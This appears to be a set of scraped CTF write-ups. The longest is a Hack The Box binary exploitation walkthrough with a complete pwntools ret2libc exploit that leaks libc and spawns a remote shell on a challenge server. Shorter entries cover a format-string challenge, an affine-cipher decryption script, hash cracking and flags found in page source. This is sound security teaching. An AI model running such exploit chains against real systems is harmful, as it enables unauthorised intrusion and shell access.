From the output above, we can determine which part of our pattern is hitting the return in the main function by examining the `$rsp`.```gdb-peda$ x/gx $rsp0x7fffffffde98: 0x4134414165414149gdb-peda$ pattern offset 0x41344141654141494698452060381725001 found at offset: 72```
Nice, we got the offset/padding. Now we need to leak the address of the libc that the program is used. But, before that, since the binary were given, we could use ROPgadget to get the ret and pop_rdi gadget that will be useful in the next steps.```$ ROPgadget --binary mr_snowy | grep "ret"0x000000000040087e : ret$ ROPgadget --binary mr_snowy | grep "pop rdi"0x00000000004015c3 : pop rdi ; ret```
Now, let's try to leak the libc address
## Leaking Libc Address
To leak the libc address, I will use address of `pop_rdi` to clear the `rdi` register and replace it with address of puts from the PLT (Procedure Linkage Table) which is used to call external procedures/functions whose address isn't known in the time of linking.
If we put the address of PLT puts into the rdi, when it got called, the program will print something (using puts). So we could abuse that and called an address from GOT (Global Offsets Table) which is similarly used to resolve addresses. In this case I will call puts from GOT.
Lastly, we need to re-run the program, so I will call main from the PLT again to redirect the program.
```pythonfrom pwn import *
offset = 72pop_rdi = 0x00000000004015c3ret = 0x000000000040087e
elf = ELF("./mr_snowy")s = elf.process()
puts_plt = elf.symbols["puts"]main_plt = elf.symbols["main"]
puts_got = elf.got["puts"]rop = [ pop_rdi, puts_got, puts_plt, main_plt]
rop = b"".join([p64(i) for i in rop])payload = b"A"*offset + rop
# to run the libc leak address# # input 1 for the first inputprint(s.recvuntil(b"> ").decode())print("1")s.sendline(b"1")print(s.recvuntil(b"> ").decode())
# # sending the payload for the second inputprint(payload)s.sendline(payload)
# # I used 2 recvline() to bruteforce when the program will print the address of puts.# # Since usually it only needs 2 recvline()print(s.recvline().decode())print(s.recvline().decode())```
Now we need to do is just run the program to get the address from puts GOT!
```python$ python3 snowy_solver.py[*] '/home/kali/Documents/HTB/cyber santa/pwn_mr_snowy/mr_snowy' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/home/kali/Documents/HTB/cyber santa/pwn_mr_snowy/mr_snowy': pid 1773 [Location]: ? Santa's garden.. _____ * * * * * * * | | * * * * ** _|___|_ * * * * ** * ( 0 0 ) * * * * * * * * ( * ) * * * * * * ( * ) * * * * * * \_______/ * * * *** ** [*] This snowman looks sus.. 1. Investigate ? 2. Let it be ⛄ > 1 [!] After some investigation, you found a secret camera inside the snowman! 1. Deactivate ⚠ 2. Break it ? > b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc3\x15@\x00\x00\x00\x00\x00X\x1f`\x00\x00\x00\x00\x00\xa0\x08@\x00\x00\x00\x00\x00>\x15@\x00\x00\x00\x00\x00' [-] Mission failed!```
This part drives me insane, it only gives 1 output which is `[-] Mission failed!`. When I checked at the ida again, turns out the program will print `\x1B[1;31m` that I missed :').
Now, we know that we need to receive that junk and 2 more lines. So let's rewrite the program!
```pythonfrom pwn import *
offset = 72pop_rdi = 0x00000000004015c3ret = 0x000000000040087e
elf = ELF("./mr_snowy")s = elf.process()
puts_plt = elf.symbols["puts"]main_plt = elf.symbols["main"]
puts_got = elf.got["puts"]rop = [ pop_rdi, puts_got, puts_plt, main_plt]
rop = b"".join([p64(i) for i in rop])payload = b"A"*offset + rop
# to run the libc leak addressprint(s.recvuntil(b"> ").decode())print("1")s.sendline(b"1")print(s.recvuntil(b"> ").decode())
print(payload)s.sendline(payload)print(s.recvuntil(b"\x1B[1;31m"))
print(s.recvline().decode())print(s.recvline().decode())leakPuts = u64(s.recvuntil(b"\n").rstrip().ljust(8,b"\x00"))log.info(f"Leak Puts: {hex(leakPuts)}")```
Got it! Finally get the address. Now we need to leak the server binary, so we will get the same libc with the server. To access the server remotely, we need to add remote to server using host and port.
```pythonfrom pwn import *
host = "138.68.129.154"port = 31276
offset = 72pop_rdi = 0x00000000004015c3ret = 0x000000000040087e
elf = ELF("./mr_snowy")# s = elf.process()s = remote(host, port)
puts_plt = elf.symbols["puts"]main_plt = elf.symbols["main"]
puts_got = elf.got["puts"]rop = [ pop_rdi, puts_got, puts_plt, main_plt]
rop = b"".join([p64(i) for i in rop])payload = b"A"*offset + rop
# to run the libc leak addressprint(s.recvuntil(b"> ").decode())print("1")s.sendline(b"1")print(s.recvuntil(b"> ").decode())
print(payload)s.sendline(payload)print(s.recvuntil(b"\x1B[1;31m"))
print(s.recvline().decode())print(s.recvline().decode())leakPuts = u64(s.recvuntil(b"\n").rstrip().ljust(8,b"\x00"))log.info(f"Leak Puts: {hex(leakPuts)}")```
Great! Let's check the libc version using [libc.blukat.me](https://libc.blukat.me/).
We, need to download the libc version, and then put it in the same folder with the mr_snowy solver python file.
After that, we could call it into the python file and use the libc to find the `/bin/sh` and `system`.
```pythonfrom pwn import *
host = "138.68.129.154"port = 31276
offset = 72pop_rdi = 0x00000000004015c3ret = 0x000000000040087e
elf = ELF("./mr_snowy")# s = elf.process()s = remote(host, port)
puts_plt = elf.symbols["puts"]main_plt = elf.symbols["main"]
puts_got = elf.got["puts"]rop = [ pop_rdi, puts_got, puts_plt, main_plt]
rop = b"".join([p64(i) for i in rop])payload = b"A"*offset + rop
# to run the libc leak addressprint(s.recvuntil(b"> ").decode())print("1")s.sendline(b"1")print(s.recvuntil(b"> ").decode())
print(payload)s.sendline(payload)print(s.recvuntil(b"\x1B[1;31m"))
print(s.recvline().decode())print(s.recvline().decode())leakPuts = u64(s.recvuntil(b"\n").rstrip().ljust(8,b"\x00"))log.info(f"Leak Puts: {hex(leakPuts)}")
libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")libc.address = leakPuts - libc.symbols["puts"]log.info(f"libc base address found at {hex(libc.address)}")
# next wrapper used to get the first occurence of /bin/shbin_sh = next(libc.search(b'/bin/sh'))
# system used to call the next address on the stack# so we could write the address of /bin/sh before systemsystem = libc.symbols['system']
# exit used to make the program end safely and not in the harsh wayexit = libc.symbols['exit']
rop = [ ret, pop_rdi, bin_sh, system, exit]
rop = b''.join([p64(i) for i in rop])payload = b"A"*offset + rop
# to get into bin shprint(s.recvuntil(b"> ").decode())print("1")s.sendline(b"1")print(s.recvuntil(b"> ").decode())
print(payload)s.sendline(payload)
# interactive() let us the interact with the /bin/shs.interactive()
s.close()```
Now all we need to do is just run the program and cat the flag.txt!
Flag: `HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}` |
Full writeup: [https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/steamcloud/](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/steamcloud/) |
# Simple Format Returned# was a pwn challenge from MetaCTF 2021.
It is a format string vulnerability. A classic.
you can spot the vuln here in the reverse:
The exploitation is classic also , but not easy as it needs to have a good ASLR to work.
We leak libc & stack address with the format string, and wait for the MSB byte of 32bit addresses to be small...
as it is not a blind format string, all the data we send , will be sent us back, so for the program not to timeout , it needs a small MSB byte in both libc & stack mapping address..
this could take time ,and numerous try...
to see a more in depth explanation on how format string exploitation works, how to have a return to main, etc,
take a look at my previous write-up for another format string challenge:
[https://github.com/nobodyisnobody/write-ups/tree/main/DigitalOverdose.2021/pwn/uncurved](https://github.com/nobodyisnobody/write-ups/tree/main/DigitalOverdose.2021/pwn/uncurved)
it explains in details, how to exploit this...
the exploit code:
Here is the exploit in action (a bit edited it to cut the waiting parts...)
*nobodyisnobody still pwning things...* |
# Cyber Santa is Coming to Town: XMAS Spirit
 
  
## Description
> Now that elves have taken over Santa has lost so many letters from kids all over the world. However, there is one kid who managed to locate Santa and sent him a letter. It seems like the XMAS spirit is so strong within this kid. He was so smart that thought of encrypting the letter in case elves captured it. Unfortunately, Santa has no idea about cryptography. Can you help him read the letter?
## Attached Files
- challenge.py
```pyimport randomfrom math import gcd
def encrypt(dt): mod = 256 while True: a = random.randint(1,mod) if gcd(a, mod) == 1: break b = random.randint(1,mod)
res = b'' for byte in dt: enc = (a*byte + b) % mod res += bytes([enc]) return res
dt = open('letter.pdf', 'rb').read()
res = encrypt(dt)
f = open('encrypted.bin', 'wb')f.write(res)f.close()```
- encrypted.bin
The encrypted PDF file
## Summary
We know that our original file was a PDF file. So our plan is to brute force our a and b by checking if '%PDF' (the standard PDF header) is included in the first few bytes of our decryption.Once we got a and b, we can decrypt the whole file.
## Flag
```HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}```
## Detailed Solution
First of all, we don't need to go through all 256 values for a, because we know, that `gcd(a, 256) = 1`.We'll write a function to give us all possibilities for a:
```pydef get_possible_a(): mod = 256 arr = [] for a in range(1,257): if gcd(a, mod) == 1: arr.append(a)
return arr```
We want to then extract the first few bytes in the `encrypted.bin` and decrypt it. We write a function, that decrypts the bytes:
```pydef decrypt(msg, a, b): res = b'' for char in msg: char = char - b char = a * char % 256 res += bytes([char]) return res```
We then want to write a function, that decrypts the first few bytes and checks if the decryption includes '%PDF'. If it does, we got our a and b:
```pydef find_pdf_string(msg): for a in get_possible_a(): for b in range(1,257): start = decrypt(msg, a, b) if b'%PDF' in start: print("[+] Found a: {} and b: {}".format(a, b)) return a,b```
Once we got our a and b, we can just pass all of the encrypted bytes into our decrypt function and save the decryption in a pdf file.When we combine all of that, we get a python program, that solves everything automatically for us:
```pyfrom math import gcd
def get_possible_a(): mod = 256 arr = []
for a in range(1,257): if gcd(a, mod) == 1: arr.append(a)
return arr
def decrypt(msg, a, b): res = b'' for char in msg: char = char - b char = a * char % 256 res += bytes([char]) return res
def find_pdf_string(msg): for a in get_possible_a(): for b in range(1,257): start = decrypt(msg, a, b) if b'%PDF' in start: print("[+] Found a: {} and b: {}".format(a, b)) return a,b
dt = open('encrypted.bin', 'rb').read()a,b = find_pdf_string(dt[:5])
res = decrypt(dt,a,b)f = open('dec.pdf', 'wb')f.write(res)f.close()
print("[+] Decrypted PDF file to 'dec.pdf'!")```
Our PDF looks like this:
There we can easily spot our flag: `HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}` |
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<h2 id="blob-path" class="breadcrumb flex-auto flex-self-center min-width-0 text-normal mx-2 width-full width-md-auto flex-order-1 flex-md-order-none mt-3 mt-md-0"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Meta games CTF 2021</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>Wrong way on a one way street.md </h2> Go to file <details id="blob-more-options-details" data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true" class="btn"> <svg aria-label="More options" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg></summary> <div data-view-component="true"> <span>Go to file</span> <span>T</span> <button data-toggle-for="jumpto-line-details-dialog" type="button" data-view-component="true" class="dropdown-item btn-link"> <span> <span>Go to line</span> <span>L</span> </span></button> <clipboard-copy data-toggle-for="blob-more-options-details" aria-label="Copy path" value="Meta games CTF 2021/Crypto/Wrong way on a one way street.md" data-view-component="true" class="dropdown-item cursor-pointer"> Copy path
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>MetaCTF 2021</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Wrong Way on a One Way Street (100pts)</h2><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description:</h3><blockquote>Hashing is a system by which information is encrypted such that it can never be decrypted... theoretically. Websites will often hash passwords so that if their passwords are ever leaked, bad actors won't actually learn the user's password; they'll just get an encrypted form of it. However, the same password will always hash to the same ciphertext, so if the attacker can guess your password, they can figure out the hash. Can you guess the password for this hash? cb78e77e659c1648416cf5ac43fca4b65eeaefe1</blockquote><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Procedure:</h3>By seeing the cipher text it says its a md5 salted password hash so lets make it to readable format. I Personally use crack station to crack :pEventually got the Flag :)<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag:</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="babyloka13">babyloka13</div></article> </div>
Hashing is a system by which information is encrypted such that it can never be decrypted... theoretically. Websites will often hash passwords so that if their passwords are ever leaked, bad actors won't actually learn the user's password; they'll just get an encrypted form of it. However, the same password will always hash to the same ciphertext, so if the attacker can guess your password, they can figure out the hash. Can you guess the password for this hash? cb78e77e659c1648416cf5ac43fca4b65eeaefe1
By seeing the cipher text it says its a md5 salted password hash so lets make it to readable format. I Personally use crack station to crack :p
Eventually got the Flag :)
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<title>CTF-Writeups/Under Inspection.md at 3dfbfc9f6d536f6f42758da711d280dfe61cf9d2 · palanioffcl/CTF-Writeups · GitHub</title>
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>MetaCTF 2021</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Under Inspection (100pts)</h2><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description:</h3><blockquote>Someone made this site for the Autobots to chat with each other. Seems like the Decepticons have found the site too and made accounts.One of the Autobot accounts has a flag that they're trying to keep hidden from the Decepticons, can you figure out which account it is and steal it?</blockquote><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>View-source:</h3>Leta check the source file which is done by adding prefix view-source: of the url :)<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="var username = document.getElementById("username").value;var password = document.getElementById("password").value;var result = document.getElementById("result");var accounts = [ {user: "Admin", pwd: "MetaCTF{super_secure_password}"}, {user: "Bumblebee", pwd: "MetaCTF{sting_like_a_bee}"}, {user: "Starscream", pwd: "MetaCTF{the_best_leader_of_the_decepticons}"}, {user: "Jazz", pwd: "MetaCTF{do_it_with_style_or_dont_do_it_at_all}"}, {user: "Megatron", pwd: "MetaCTF{peace_through_tyranny}"},];"><span>var</span> <span>username</span> <span>=</span> <span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"username"</span><span>)</span><span>.</span><span>value</span><span>;</span><span>var</span> <span>password</span> <span>=</span> <span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"password"</span><span>)</span><span>.</span><span>value</span><span>;</span><span>var</span> <span>result</span> <span>=</span> <span>document</span><span>.</span><span>getElementById</span><span>(</span><span>"result"</span><span>)</span><span>;</span><span>var</span> <span>accounts</span> <span>=</span> <span>[</span> <span>{</span><span>user</span>: <span>"Admin"</span><span>,</span> <span>pwd</span>: <span>"MetaCTF{super_secure_password}"</span><span>}</span><span>,</span> <span>{</span><span>user</span>: <span>"Bumblebee"</span><span>,</span> <span>pwd</span>: <span>"MetaCTF{sting_like_a_bee}"</span><span>}</span><span>,</span> <span>{</span><span>user</span>: <span>"Starscream"</span><span>,</span> <span>pwd</span>: <span>"MetaCTF{the_best_leader_of_the_decepticons}"</span><span>}</span><span>,</span> <span>{</span><span>user</span>: <span>"Jazz"</span><span>,</span> <span>pwd</span>: <span>"MetaCTF{do_it_with_style_or_dont_do_it_at_all}"</span><span>}</span><span>,</span> <span>{</span><span>user</span>: <span>"Megatron"</span><span>,</span> <span>pwd</span>: <span>"MetaCTF{peace_through_tyranny}"</span><span>}</span><span>,</span><span>]</span><span>;</span></div><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag:</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="MetaCTF{do_it_with_style_or_dont_do_it_at_all}">MetaCTF{do_it_with_style_or_dont_do_it_at_all}</div></article> </div>
Someone made this site for the Autobots to chat with each other. Seems like the Decepticons have found the site too and made accounts.One of the Autobot accounts has a flag that they're trying to keep hidden from the Decepticons, can you figure out which account it is and steal it?
Leta check the source file which is done by adding prefix view-source: of the url :)
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<h2 id="blob-path" class="breadcrumb flex-auto flex-self-center min-width-0 text-normal mx-2 width-full width-md-auto flex-order-1 flex-md-order-none mt-3 mt-md-0"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Meta games CTF 2021</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>A to Z.md </h2> Go to file <details id="blob-more-options-details" data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true" class="btn"> <svg aria-label="More options" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg></summary> <div data-view-component="true"> <span>Go to file</span> <span>T</span> <button data-toggle-for="jumpto-line-details-dialog" type="button" data-view-component="true" class="dropdown-item btn-link"> <span> <span>Go to line</span> <span>L</span> </span></button> <clipboard-copy data-toggle-for="blob-more-options-details" aria-label="Copy path" value="Meta games CTF 2021/Crypto/A to Z.md" data-view-component="true" class="dropdown-item cursor-pointer"> Copy path
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>A to Z</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description</h2>This encrypted flag will only require a simple substitution cipher to solve. Rearrange the letters from A to Z.yzhsufo_rh_nb_uze_wdziu<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Procedure</h1>By seeing the description its clear that a simple substitution might work in this. Lets check the hint.,<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 